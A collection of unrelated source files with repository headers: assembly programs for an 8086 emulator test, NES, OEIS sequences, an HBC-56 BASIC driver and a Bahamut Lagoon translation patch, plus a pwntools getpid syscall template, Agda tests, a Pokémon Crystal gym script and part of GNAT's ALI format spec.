.DB 0x01, 0x02, 0x04, 0x09, 0x12, 0x05, 0x0b, 0x16, 0x0c, 0x19, 0x13, 0x07, 0x0f, 0x1f, 0x1e, 0x1c, 0x18, 0x11, 0x03, 0x06, 0x0d, 0x1b, 0x17, 0x0e, 0x1d
#endif
|
tests/Comprehensive/power.asm | ZubinGou/8086-emulator | 39 | 172471 | <reponame>ZubinGou/8086-emulator<filename>tests/Comprehensive/power.asm
; Code for Program to CAXculate power(a,b) i.e a^b in Assembly Language
NAME Comprehensive
TITLE power
ASSUME CS:CODE,DS:DATA
DATA SEGMENT
BASE DB ?
POW DB ?
DATA ENDS
CODE SEGMENT
START:
MOV AX,DATA
MOV DS,AX
ENTER_BASE:
IN AX,10H
MOV BL,AX
MOV BASE,AX
ENTER_POWER:
IN AX,20H
MOV CL,AX
DEC CL
MOV AX,00
MOV AX,BASE
LBL1:
MUL BL
OUT 0,AX
LOOP LBL1
OUT 30H,AX
CODE ENDS
END START
|
pwnlib/shellcraft/templates/aarch64/linux/getpid.asm | zaratec/pwntools | 5 | 91665 | <reponame>zaratec/pwntools
<%
from pwnlib.shellcraft.aarch64.linux import syscall
%>
<%page args=""/>
<%docstring>
Invokes the syscall getpid. See 'man 2 getpid' for more information.
Arguments:
</%docstring>
${syscall('SYS_getpid')}
|
src/nes/video.asm | apvilkko/jane8-musicdisk | 0 | 100242 | WaitFrame:
pha
lda vblanked
waitloop:
cmp vblanked
beq waitloop
pla
rts
ResetScroll:
lda #0
sta PPU_SCROLL
lda #0-8
sta PPU_SCROLL
rts
ClearPalette:
lda #>VRAM_PALETTE
sta PPU_ADDR
lda #<VRAM_PALETTE
sta PPU_ADDR
lda #$0f ; black
ldx #$20 ; loop 32 times
cploop:
sta PPU_DATA
dex
bne cploop
ClearVRAM:
lda #>VRAM_NAMETABLE
sta PPU_ADDR
lda #<VRAM_NAMETABLE
sta PPU_ADDR
ldy #$10 ; loop 16 * 256 times
cvloop:
sta PPU_DATA
inx
bne cvloop
dey
bne cvloop
SetPalette:
lda #>VRAM_PALETTE
sta PPU_ADDR
lda #<VRAM_PALETTE
sta PPU_ADDR
ldx #$00
ldy #$20 ; loop 32 times
setpaletteloop:
lda palette,x
sta PPU_DATA
inx
dey
bne setpaletteloop
rts
LoadAttributes:
lda PPU_STATUS
lda #>PPU_ATTRIBUTES
sta PPU_ADDR
lda #<PPU_ATTRIBUTES
sta PPU_ADDR
ldx #$00
laloop:
lda attributes,x
sta PPU_DATA
inx
cpx #$40
bne laloop
rts
DisableScreen:
lda #%00000000
sta PPU_MASK
sta PPU_CTRL
rts
EnableScreen:
lda #%00011000
sta PPU_MASK
lda #$80
sta PPU_CTRL
rts
|
programs/oeis/120/A120172.asm | karttu/loda | 0 | 82610 | ; A120172: a(1)=3; a(n)=floor((17+sum(a(1) to a(n-1)))/5).
; 3,4,4,5,6,7,9,11,13,15,18,22,26,32,38,46,55,66,79,95,114,137,164,197,236,283,340,408,490,588,705,846,1015,1218,1462,1754,2105,2526,3031,3638,4365,5238,6286,7543,9052,10862,13034,15641,18769,22523,27028,32433
mov $4,2
mov $6,$0
lpb $4,1
mov $0,$6
sub $4,1
add $0,$4
mov $3,0
lpb $0,1
sub $0,1
mul $3,$5
add $3,17
div $3,5
mov $5,6
lpe
mov $2,$4
lpb $2,1
mov $1,$3
sub $2,1
lpe
lpe
lpb $6,1
sub $1,$3
mov $6,0
lpe
|
archive/agda-3/src/Test/Symmetrical.agda | m0davis/oscar | 0 | 8140 | <reponame>m0davis/oscar
open import Everything
module Test.Symmetrical where
test-𝓢ymmetrical𝓢ymmetry : ∀
{𝔬} {𝔒 : Ø 𝔬}
{ℓ} {_∼_ : 𝔒 → 𝔒 → Ø ℓ}
⦃ _ : Symmetry.class _∼_ ⦄
→ Symmetry.type _∼_
-- test-𝓢ymmetrical𝓢ymmetry = symmetrical _ _ -- FIXME no longer works after 𝓢ymmetrical𝓢ymmetry was "rationalised"
test-𝓢ymmetrical𝓢ymmetry {𝔒 = 𝔒} = symmetrical {𝔄 = 𝔒} _ _
test-𝓢ymmetrical𝓢ymmetry-alternate : ∀
{𝔬} {𝔒 : Ø 𝔬}
{ℓ} {_∼_ : 𝔒 → 𝔒 → Ø ℓ}
⦃ _ : Symmetry.class _∼_ ⦄
→ Symmetry.type _∼_
test-𝓢ymmetrical𝓢ymmetry-alternate {x = x} = symmetrical x _
lhs-test1 : ∀ {𝔬} {𝔒 : Ø 𝔬}
{ℓ} {_∼_ : 𝔒 → 𝔒 → Ø ℓ}
⦃ _ : Symmetry.class _∼_ ⦄
{_∼'_ : 𝔒 → 𝔒 → Ø ℓ}
⦃ _ : Symmetry.class _∼'_ ⦄
→ ∀ x y → _
lhs-test1 {_∼_ = _∼_} = symmetrical⟦ _∼_ / (λ x y → x → y) ⟧
module OverlappingInstances
{𝔞} {𝔄 : Ø 𝔞}
{𝔟} {𝔅 : Ø 𝔟}
{ℓ} {_↦_ : 𝔅 → 𝔅 → Ø ℓ}
{_↦'_ : 𝔅 → 𝔅 → Ø ℓ}
{_∼1_ : 𝔄 → 𝔄 → 𝔅}
{_∼2_ : 𝔄 → 𝔄 → 𝔅}
⦃ _ : Symmetrical _∼1_ _↦_ ⦄
⦃ _ : Symmetrical _∼1_ _↦'_ ⦄
⦃ _ : Symmetrical _∼2_ _↦_ ⦄
⦃ _ : Symmetrical _∼2_ _↦'_ ⦄
(x y : 𝔄)
where
test1 = symmetrical {_∼_ = _∼1_} {_↦_ = _↦_} x y
test2 : (x ∼1 y) ↦ (y ∼1 x)
test2 = symmetrical⟦ _ / _↦_ ⟧ x y
test2a : (x ∼1 y) ↦ (y ∼1 x)
test2a = symmetrical x y
test3 = symmetrical⟦ _∼1_ / _↦_ ⟧ x y
lhs-test2a : ∀
{𝔞} {𝔄 : Ø 𝔞}
{𝔟} {𝔅 : Ø 𝔟}
(_∼_ : 𝔄 → 𝔄 → 𝔅)
{ℓ} (_↦_ : 𝔅 → 𝔅 → Ø ℓ)
⦃ _ : Symmetrical _∼_ _↦_ ⦄
→ ∀ (x y : 𝔄) → _ ↦ _
lhs-test2a _∼_ _↦_ x y =
symmetrical x y -- works
-- symmetrical⟦ _∼_ / _↦_ ⟧ x y -- works
-- symmetrical⟦ _ / _↦_ ⟧ x y -- works
-- symmetrical⟦ _∼_ / _ ⟧ x y -- works
open import Oscar.Data.Proposequality
lhs-test2a' : ∀
{𝔞} {𝔄 : Ø 𝔞}
{𝔟} {𝔅 : Ø 𝔟}
(_∼_ : 𝔄 → 𝔄 → 𝔅) {_∼'_ : 𝔄 → 𝔄 → 𝔅}
{ℓ} (_↦_ : 𝔅 → 𝔅 → Ø ℓ) {_↦'_ : 𝔅 → 𝔅 → Ø ℓ}
⦃ _ : Symmetrical _∼_ _↦_ ⦄
⦃ _ : Symmetrical _∼'_ _↦_ ⦄
⦃ _ : Symmetrical _∼_ _↦'_ ⦄
⦃ _ : Symmetrical _∼'_ _↦'_ ⦄
→ ∀ (x y : 𝔄) → -- _
_ ↦ _
-- (x ∼ y) ↦ (y ∼ x)
lhs-test2a' _∼_ _↦_ x y =
symmetrical⟦ _∼_ / _ ⟧ x y
-- symmetrical x y -- fails, as expected
-- symmetrical⟦ _ / _ ⟧ x y -- fails, as expected
-- symmetrical⟦ _ / _↦_ ⟧ x y -- fails, as expected
lhs-test2a'' : ∀
{𝔞} {𝔄 : Ø 𝔞}
{𝔟} {𝔅 : Ø 𝔟}
(_∼_ : 𝔄 → 𝔄 → 𝔅) {_∼'_ : 𝔄 → 𝔄 → 𝔅}
{ℓ} (_↦_ : 𝔅 → 𝔅 → Ø ℓ) {_↦'_ : 𝔅 → 𝔅 → Ø ℓ}
⦃ _ : Symmetrical _∼_ _↦_ ⦄
⦃ _ : Symmetrical _∼'_ _↦_ ⦄
⦃ _ : Symmetrical _∼_ _↦'_ ⦄
⦃ _ : Symmetrical _∼'_ _↦'_ ⦄
→ ∀ (x y : 𝔄) → -- _
-- _ ↦ _
(x ∼ y) ↦ (y ∼ x)
lhs-test2a'' _∼_ _↦_ x y =
symmetrical {_∼_ = _∼_} x y
-- symmetrical'' {_↦_ = _↦_} x y
-- symmetrical'' {_∼_ = _∼_} {_↦_ = _↦_} x y
-- symmetrical'' x y
|
code/6502/basic/drivers/input.asm | visrealm/hbc-56 | 65 | 175525 | ; Troy's HBC-56 - BASIC - Input
;
; Copyright (c) 2021 <NAME>
;
; This code is licensed under the MIT license
;
; https://github.com/visrealm/hbc-56
;
; -----------------------------------------------------------------------------
; hbc56In - EhBASIC input subroutine (for HBC-56) - must not block
; -----------------------------------------------------------------------------
; Outputs: A - ASCII character captured from keyboard
; C - Flag set if key captured, clear if no key pressed
; -----------------------------------------------------------------------------
hbc56In
jmp kbReadAscii ; HBC-56 keyboard routine can be used directly
; we could just use it directly in the vector
; table, but it's here for clarity
; -----------------------------------------------------------------------------
; hbc56Break - EhBASIC Ctrl+C check subroutine (for HBC-56) - must not block
; -----------------------------------------------------------------------------
; Outputs: A - ASCII character captured from keyboard ($03 = Ctrl+C)
; -----------------------------------------------------------------------------
hbc56Break:
jmp kbReadAscii ; F4 (Ctrl+C) will return $03
|
bahamut/source/menu-dispatcher.asm | higan-emu/bahamut-lagoon-translation-kit | 2 | 244338 | <gh_stars>1-10
namespace menu {
seek(codeCursor)
//<NAME> shares a lot of code routines between each screen,
//which interferes greatly with tile allocation strategies.
//the dispatcher attempts to record when screens are entered into,
//in order to disambiguate shared routines, and call handlers for
//specific screens instead.
namespace dispatcher {
enqueue pc
seek($ee7b64); jsl hookCampaignMenu
seek($ee7947); jsl hookPartyMenu; nop
seek($ee6f83); jsl party
seek($eea74d); string.hook(party.other)
seek($eea512); string.hook(party.other)
seek($ee6f6c); string.skip() //"Party" static text (used by several screens)
//unit and status screens
seek($ee6fe4); string.hook(mp.setType) //"MP"
seek($ee6ff1); string.hook(mp.setType) //"SP"
seek($ee705a); jsl mp.setCurrent
seek($ee707f); jsl mp.setMaximum
seek($ee701c); jsl mp.setCurrentUnavailable
seek($ee7039); jsl mp.setMaximumUnavailable
//formations and dragons screens
seek($ee99f8); jsl technique.name
seek($eea5cd); jsl technique.blank
seek($ee9a05); jsl technique.level
seek($ee9a1e); jsl technique.multiplier; nop #5
seek($ee9a2c); jsl technique.count
//formations, equipments, information, shop screens
seek($eef02b); jsl page.index
seek($eef01b); jsl page.total
seek($eee6b6); string.hook(page.noItems) //"No Items" text (shop screen)
seek($eeefa8); string.hook(page.noItems) //"No Items" text (information screen)
//shared positions
seek($ee700f); adc #$0000 //"MP"- position (magic, item, unit screens)
seek($ee702c); adc #$0000 //"MP"/ position (magic, item, unit screens)
seek($ee7044); adc #$0000 //"SP"# position (magic, item, unit screens)
dequeue pc
namespace screen {
variable(2, id)
constant unknown = 0
constant formations = 1
constant dragons = 2
constant information = 3
constant equipments = 4
constant magicItem = 5
constant equipment = 6
constant status = 7
constant unit = 8
}
constant menuIndex = $4c
function hookCampaignMenu {
lda.b menuIndex
enter
cmp #$0000; bne +; lda.w #screen.formations; sta screen.id; jmp return; +
cmp #$0001; bne +; lda.w #screen.dragons; sta screen.id; jmp return; +
cmp #$0002; bne +; lda.w #screen.information; sta screen.id; jmp return; +
cmp #$0003; bne +; lda.w #screen.equipments; sta screen.id; jmp return; +
lda.w #screen.unknown; sta screen.id
return:
leave
asl; tax; rtl
}
function hookPartyMenu {
lda.b menuIndex
enter
cmp #$0000; bne +; lda.w #screen.magicItem; sta screen.id; jmp return; + //Magic
cmp #$0001; bne +; lda.w #screen.magicItem; sta screen.id; jmp return; + //Item
cmp #$0002; bne +; lda.w #screen.equipment; sta screen.id; jmp return; +
cmp #$0003; bne +; lda.w #screen.information; sta screen.id; jmp return; +
lda.w #screen.unknown; sta screen.id
return:
leave
cmp #$0003; rtl
}
//A => party#
function party {
enter
dec; and #$0007
pha; lda $0f,s; tax; pla //X => caller
cpx #$8052; bne +; jsl party.party; leave; rtl; + //Party and Campaign
cpx #$a570; bne +; jsl formations.party; leave; rtl; + //Formations (selected)
cpx #$a75e; bne +; jsl overviews.party; leave; rtl; + //Formations and Equipments (list)
cpx #$cb3e; bne +; jsl dragons.party; leave; rtl; + //Dragon Formation
leave; rtl
//other party
function other {
php; rep #$20; pha
lda $04,s //A => caller
cmp #$a515; bne +; lda #$0006; jsl formations.party; pla; plp; rtl; + //Formations (selected)
cmp #$a750; bne +; lda #$0006; jsl overviews.party; pla; plp; rtl; + //Formations and Equipments (list)
pla; plp; rtl
}
}
namespace mp {
variable(2, screen)
variable(2, type)
//A => type ($00 = MP, $80 = SP)
function setType {
php; rep #$20; pha
and #$0080; sta type
lda $0c,s //A => caller
cmp #$8fb5; bne +; lda.w #screen.magicItem; sta screen; lda type; jsl magicItem.mp.setType; pla; plp; rtl; +
cmp #$9679; bne +; lda.w #screen.status; sta screen; lda type; jsl status.mp.setType; pla; plp; rtl; +
cmp #$ae65; bne +; lda.w #screen.unit; sta screen; lda type; jsl unit.mp.setType; pla; plp; rtl; +
cmp #$b7bf; bne +; lda.w #screen.equipment; sta screen; lda type; jsl equipment.mp.setType; pla; plp; rtl; +
lda.w #screen.unknown; sta screen; pla; plp; rtl
}
//A => current value
function setCurrent {
php; rep #$20; pha
lda screen
cmp.w #screen.magicItem; bne +; pla; jsl magicItem.mp.setCurrent; plp; rtl; +
cmp.w #screen.status; bne +; pla; jsl status.mp.setCurrent; plp; rtl; +
cmp.w #screen.unit; bne +; pla; jsl unit.mp.setCurrent; plp; rtl; +
cmp.w #screen.equipment; bne +; pla; jsl equipment.mp.setCurrent; plp; rtl; +
pla; plp; rtl
}
//A => maximum value
function setMaximum {
php; rep #$20; pha
lda screen
cmp.w #screen.magicItem; bne +; pla; jsl magicItem.mp.setMaximum; plp; rtl; +
cmp.w #screen.status; bne +; pla; jsl status.mp.setMaximum; plp; rtl; +
cmp.w #screen.unit; bne +; pla; jsl unit.mp.setMaximum; plp; rtl; +
cmp.w #screen.equipment; bne +; pla; jsl equipment.mp.setMaximum; plp; rtl; +
pla; plp; rtl
}
function setCurrentUnavailable {
php; rep #$20; pha
lda #$ffff; jsl setCurrent
pla; plp; rtl
}
function setMaximumUnavailable {
php; rep #$20; pha
lda #$ffff; jsl setMaximum
pla; plp; rtl
}
}
namespace technique {
//A => technique name
function name {
php; rep #$20; pha
lda screen.id
cmp.w #screen.formations; bne +; pla; jsl formations.technique.name; plp; rtl; +
cmp.w #screen.dragons; bne +; pla; jsl dragons.technique.name; plp; rtl; +
pla; plp; rtl
}
function blank {
php; rep #$20; pha
lda #$00ff //position of "---------" in technique list
jsl name
pla; plp; rtl
}
//A => technique level
function level {
php; rep #$20; pha
lda screen.id
cmp.w #screen.formations; bne +; pla; jsl formations.technique.level; plp; rtl; +
cmp.w #screen.dragons; bne +; pla; jsl dragons.technique.level; plp; rtl; +
pla; plp; rtl
}
//------
//ee9a1e lda #$00e7
//ee9a21 ora $1862
//ee9a24 sta $c400,x
//------
function multiplier {
enter
tilemap.decrementAddress(2)
tilemap.setColorIvory()
tilemap.write(glyph.multiplier)
leave; rtl
}
//A => technique count
function count {
enter
tilemap.setColorIvory()
and #$00ff; add.w #glyph.numbers; pha
lda tilemap.address; tax; pla
ora tilemap.attributes; sta tilemap.location,x
leave; rtl
}
}
namespace page {
variable(2, pageIndex)
variable(2, pageTotal)
variable(2, counter)
//A => current page
function index {
enter
and #$00ff; sta pageIndex
leave; rtl
}
//A => total number of pages
function total {
enter
tilemap.setColorWhite()
and #$00ff; sta pageTotal
ldx #$0000
append.styleTiny()
append.alignSkip(2)
append.literal("Page")
lda pageTotal; cmp.w #10; jcs total_2
total_1: {
tilemap.write($a0fc)
append.alignLeft()
append.alignSkip(24)
lda pageIndex; append.integer1(); append.literal("/")
lda pageTotal; append.integer1()
lda #$0005; render.small.bpp2()
getTileIndex(counter, 2); mul(6); add #$03f4; tax
lda #$0005; write.bpp2()
leave; rtl
}
total_2: {
append.alignLeft()
append.alignSkip(23)
lda pageIndex; append.integer_2(); append.literal("/")
append.alignLeft()
append.alignSkip(37)
lda pageTotal; append.integer_2()
lda #$0006; render.small.bpp2()
getTileIndex(counter, 2); mul(6); add #$03f4; tax
lda #$0006; write.bpp2()
leave; rtl
}
}
function noItems {
enter
tilemap.setColorWhite()
tilemap.write($a0fc)
ldx #$0000; append.styleTiny()
append.alignSkip(2); append.literal("No Items!")
lda #$0005; render.small.bpp2()
getTileIndex(counter, 2); mul(6); add #$03f4; tax
lda #$0005; write.bpp2()
leave; rtl
}
}
}
codeCursor = pc()
}
|
maps/GoldenrodGym.asm | Dev727/ancientplatinum | 28 | 179340 | <reponame>Dev727/ancientplatinum
object_const_def ; object_event constants
const GOLDENRODGYM_WHITNEY
const GOLDENRODGYM_LASS1
const GOLDENRODGYM_LASS2
const GOLDENRODGYM_BUENA1
const GOLDENRODGYM_BUENA2
const GOLDENRODGYM_GYM_GUY
GoldenrodGym_MapScripts:
db 2 ; scene scripts
scene_script .DummyScene0 ; SCENE_GOLDENRODGYM_NOTHING
scene_script .DummyScene1 ; SCENE_GOLDENRODGYM_WHITNEY_STOPS_CRYING
db 0 ; callbacks
.DummyScene0:
end
.DummyScene1:
end
GoldenrodGymWhitneyScript:
faceplayer
checkevent EVENT_BEAT_WHITNEY
iftrue .FightDone
opentext
writetext WhitneyBeforeText
waitbutton
closetext
winlosstext WhitneyShouldntBeSoSeriousText, 0
loadtrainer WHITNEY, WHITNEY1
startbattle
reloadmapafterbattle
setevent EVENT_BEAT_WHITNEY
setevent EVENT_MADE_WHITNEY_CRY
setscene SCENE_GOLDENRODGYM_WHITNEY_STOPS_CRYING
setevent EVENT_BEAT_BEAUTY_VICTORIA
setevent EVENT_BEAT_BEAUTY_SAMANTHA
setevent EVENT_BEAT_LASS_CARRIE
setevent EVENT_BEAT_LASS_BRIDGET
.FightDone:
opentext
checkevent EVENT_MADE_WHITNEY_CRY
iffalse .StoppedCrying
writetext WhitneyYouMeanieText
waitbutton
closetext
end
.StoppedCrying:
checkevent EVENT_GOT_TM45_ATTRACT
iftrue .GotAttract
checkflag ENGINE_PLAINBADGE
iftrue .GotPlainBadge
writetext WhitneyWhatDoYouWantText
buttonsound
waitsfx
writetext PlayerReceivedPlainBadgeText
playsound SFX_GET_BADGE
waitsfx
setflag ENGINE_PLAINBADGE
readvar VAR_BADGES
scall GoldenrodGymActivateRockets
.GotPlainBadge:
writetext WhitneyPlainBadgeText
buttonsound
verbosegiveitem TM_ATTRACT
iffalse .NoRoomForAttract
setevent EVENT_GOT_TM45_ATTRACT
writetext WhitneyAttractText
waitbutton
closetext
end
.GotAttract:
writetext WhitneyGoodCryText
waitbutton
.NoRoomForAttract:
closetext
end
GoldenrodGymActivateRockets:
ifequal 7, .RadioTowerRockets
ifequal 6, .GoldenrodRockets
end
.GoldenrodRockets:
jumpstd goldenrodrockets
.RadioTowerRockets:
jumpstd radiotowerrockets
TrainerLassCarrie:
trainer LASS, CARRIE, EVENT_BEAT_LASS_CARRIE, LassCarrieSeenText, LassCarrieBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext LassCarrieAfterBattleText
waitbutton
closetext
end
WhitneyCriesScript:
showemote EMOTE_SHOCK, GOLDENRODGYM_LASS2, 15
applymovement GOLDENRODGYM_LASS2, BridgetWalksUpMovement
turnobject PLAYER, DOWN
opentext
writetext BridgetWhitneyCriesText
waitbutton
closetext
applymovement GOLDENRODGYM_LASS2, BridgetWalksAwayMovement
setscene SCENE_GOLDENRODGYM_NOTHING
clearevent EVENT_MADE_WHITNEY_CRY
end
TrainerLassBridget:
trainer LASS, BRIDGET, EVENT_BEAT_LASS_BRIDGET, LassBridgetSeenText, LassBridgetBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext LassBridgetAfterBattleText
waitbutton
closetext
end
TrainerBeautyVictoria:
trainer BEAUTY, VICTORIA, EVENT_BEAT_BEAUTY_VICTORIA, BeautyVictoriaSeenText, BeautyVictoriaBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext BeautyVictoriaAfterBattleText
waitbutton
closetext
end
TrainerBeautySamantha:
trainer BEAUTY, SAMANTHA, EVENT_BEAT_BEAUTY_SAMANTHA, BeautySamanthaSeenText, BeautySamanthaBeatenText, 0, .Script
.Script:
endifjustbattled
opentext
writetext BeautySamanthaAfterBattleText
waitbutton
closetext
end
GoldenrodGymGuyScript:
faceplayer
checkevent EVENT_BEAT_WHITNEY
iftrue .GoldenrodGymGuyWinScript
opentext
writetext GoldenrodGymGuyText
waitbutton
closetext
end
.GoldenrodGymGuyWinScript:
opentext
writetext GoldenrodGymGuyWinText
waitbutton
closetext
end
GoldenrodGymStatue:
checkflag ENGINE_PLAINBADGE
iftrue .Beaten
jumpstd gymstatue1
.Beaten:
gettrainername STRING_BUFFER_4, WHITNEY, WHITNEY1
jumpstd gymstatue2
BridgetWalksUpMovement:
step LEFT
turn_head UP
step_end
BridgetWalksAwayMovement:
step RIGHT
turn_head LEFT
step_end
WhitneyBeforeText:
text "Hi! I'm WHITNEY!"
para "Everyone was into"
line "#MON, so I got"
cont "into it too!"
para "#MON are"
line "super-cute!"
para "You want to bat-"
line "tle? I'm warning"
cont "you--I'm good!"
done
WhitneyShouldntBeSoSeriousText:
text "Sob…"
para "…Waaaaaaah!"
line "You're mean!"
para "You shouldn't be"
line "so serious! You…"
cont "you child, you!"
done
WhitneyYouMeanieText:
text "Waaaaah!"
para "Waaaaah!"
para "…Snivel, hic…"
line "…You meanie!"
done
WhitneyWhatDoYouWantText:
text "…Sniff…"
para "What? What do you"
line "want? A BADGE?"
para "Oh, right."
line "I forgot. Here's"
cont "PLAINBADGE."
done
PlayerReceivedPlainBadgeText:
text "<PLAYER> received"
line "PLAINBADGE."
done
WhitneyPlainBadgeText:
text "PLAINBADGE lets"
line "your #MON use"
para "STRENGTH outside"
line "of battle."
para "It also boosts"
line "your #MON's"
cont "SPEED."
para "Oh, you can have"
line "this too!"
done
WhitneyAttractText:
text "It's ATTRACT!"
line "It makes full use"
para "of a #MON's"
line "charm."
para "Isn't it just per-"
line "fect for a cutie"
cont "like me?"
done
WhitneyGoodCryText:
text "Ah, that was a"
line "good cry!"
para "Come for a visit"
line "again! Bye-bye!"
done
LassCarrieSeenText:
text "Don't let my"
line "#MON's cute"
para "looks fool you."
line "They can whip you!"
done
LassCarrieBeatenText:
text "Darn… I thought"
line "you were weak…"
done
LassCarrieAfterBattleText:
text "Do my #MON"
line "think I'm cute?"
done
LassBridgetSeenText:
text "I like cute #-"
line "MON better than"
cont "strong #MON."
para "But I have strong"
line "and cute #MON!"
done
LassBridgetBeatenText:
text "Oh, no, no, no!"
done
LassBridgetAfterBattleText:
text "I'm trying to beat"
line "WHITNEY, but…"
cont "It's depressing."
para "I'm okay! If I"
line "lose, I'll just"
para "try harder next"
line "time!"
done
BridgetWhitneyCriesText:
text "Oh, no. You made"
line "WHITNEY cry."
para "It's OK. She'll"
line "stop soon. She"
para "always cries when"
line "she loses."
done
BeautyVictoriaSeenText:
text "Oh, you are a cute"
line "little trainer! "
para "I like you, but I"
line "won't hold back!"
done
BeautyVictoriaBeatenText:
text "Let's see… Oops,"
line "it's over?"
done
BeautyVictoriaAfterBattleText:
text "Wow, you must be"
line "good to beat me!"
cont "Keep it up!"
done
BeautySamanthaSeenText:
text "Give it your best"
line "shot, or I'll take"
cont "you down!"
done
BeautySamanthaBeatenText:
text "No! Oh, MEOWTH,"
line "I'm so sorry!"
done
BeautySamanthaAfterBattleText:
text "I taught MEOWTH"
line "moves for taking"
cont "on any type…"
done
GoldenrodGymGuyText:
text "Yo! CHAMP in"
line "making!"
para "This GYM is home"
line "to normal-type"
cont "#MON trainers."
para "I recommend you"
line "use fighting-type"
cont "#MON."
done
GoldenrodGymGuyWinText:
text "You won? Great! I"
line "was busy admiring"
cont "the ladies here."
done
GoldenrodGym_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 17, GOLDENROD_CITY, 1
warp_event 3, 17, GOLDENROD_CITY, 1
db 1 ; coord events
coord_event 8, 5, SCENE_GOLDENRODGYM_WHITNEY_STOPS_CRYING, WhitneyCriesScript
db 2 ; bg events
bg_event 1, 15, BGEVENT_READ, GoldenrodGymStatue
bg_event 4, 15, BGEVENT_READ, GoldenrodGymStatue
db 6 ; object events
object_event 8, 3, SPRITE_WHITNEY, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGymWhitneyScript, -1
object_event 9, 13, SPRITE_LASS, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 4, TrainerLassCarrie, -1
object_event 9, 6, SPRITE_LASS, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 1, TrainerLassBridget, -1
object_event 0, 2, SPRITE_BUENA, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerBeautyVictoria, -1
object_event 19, 5, SPRITE_BUENA, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerBeautySamantha, -1
object_event 5, 15, SPRITE_GYM_GUY, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, GoldenrodGymGuyScript, -1
|
oeis/094/A094981.asm | neoneye/loda-programs | 11 | 92833 | <reponame>neoneye/loda-programs
; A094981: a(n) = floor(9^n/4^n).
; 1,2,5,11,25,57,129,291,656,1477,3325,7481,16834,37876,85222,191751,431439,970739,2184164,4914369,11057332,24878997,55977744,125949925,283387333,637621500,1434648375,3227958844,7262907400,16341541651,36768468716,82729054613,186140372879,418815838978,942335637702,2120255184830,4770574165868,10733791873203,24151031714707,54339821358090,122264598055704,275095345625335,618964527657004,1392670187228260,3133507921263586,7050392822843069,15863383851396906,35692613665643038,80308380747696837
mov $1,9
pow $1,$0
mov $2,4
pow $2,$0
div $1,$2
mov $0,$1
|
libsrc/z80_crt0s/gbz80/sccz80/dstore.asm | Frodevan/z88dk | 38 | 244038 |
SECTION code_crt0_sccz80
PUBLIC dstore
EXTERN fa
;--------------
; Copy FA to hl
;--------------
dstore:
ld b,6
dstore_1:
ld a,(de)
ld (hl+),a
inc de
dec b
jr nz,dstore_1
ret ; returns de=fa+6, hl=hl+6
|
llvm-gcc-4.2-2.9/gcc/ada/lib-writ.ads | vidkidz/crossbridge | 1 | 16237 | ------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- L I B . W R I T --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2005, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains the routines for writing the library information
package Lib.Writ is
-----------------------------------
-- Format of Library Information --
-----------------------------------
-- This section describes the format of the library information that is
-- associated with object files. The exact method of this association is
-- potentially implementation dependent and is described and implemented
-- in package ali. From the point of view of the description here, all we
-- need to know is that the information is represented as a string of
-- characters that is somehow associated with an object file, and can be
-- retrieved. If no library information exists for a given object file,
-- then we take this as equivalent to the non-existence of the object
-- file, as if source file has not been previously compiled.
-- The library information is written as a series of lines of the form:
-- Key_Character parameter parameter ...
-- The following sections describe the format of these lines in detail
--------------------------------------
-- Making Changes to the ALI Format --
--------------------------------------
-- A number of tools use ali.adb to parse ali files. This means
-- that changes to this format can cause old versions of these tools
-- to be incompatible with new versions of the compiler. Any changes
-- to ali file formats must be carefully evaluated to understand any
-- such possible conflicts, and in particular, it is very undesirable
-- to create conflicts between older versions of GPS and newer versions
-- of the compiler.
-- If the following guidelines are respected, downward compatibility
-- problems (old tools reading new ali files) should be minimized:
-- The basic key character format must be kept
-- The V line must be the first line, this is checked by ali.adb
-- even in Ignore_Errors mode, and is used to verify that the file
-- at hand is indeed likely intended to be an ali file.
-- The P line must be present, though may be modified in contents
-- according to remaining guidelines. Again, ali.adb assumes the
-- P line is present even in Ignore_Errors mode.
-- New modifiers can generally be added (in particular adding new
-- two letter modifiers to the P or U lines is always safe)
-- Adding entirely new lines (with a new key letter) to the ali
-- file is always safe, at any point (other than before the V
-- line), since suchy lines will be ignored.
-- Following the guidelines in this section should ensure that this
-- problem is minimized and that old tools will be able to deal
-- successfully with new ali formats. Note that this does not apply
-- to the compiler itself, which always requires consistency between
-- the ali files and the binder. That is because one of the main
-- functions of the binder is to ensure consistency of the partition,
-- and this can be compromised if the ali files are inconsistent.
------------------
-- Header Lines --
------------------
-- The initial header lines in the file give information about the
-- compilation environment, and identify other special information
-- such as main program parameters.
-- ----------------
-- -- V Version --
-- ----------------
-- V "xxxxxxxxxxxxxxxx"
--
-- This line indicates the library output version, as defined in
-- Gnatvsn. It ensures that separate object modules of a program are
-- consistent. It has to be changed if anything changes which would
-- affect successful binding of separately compiled modules.
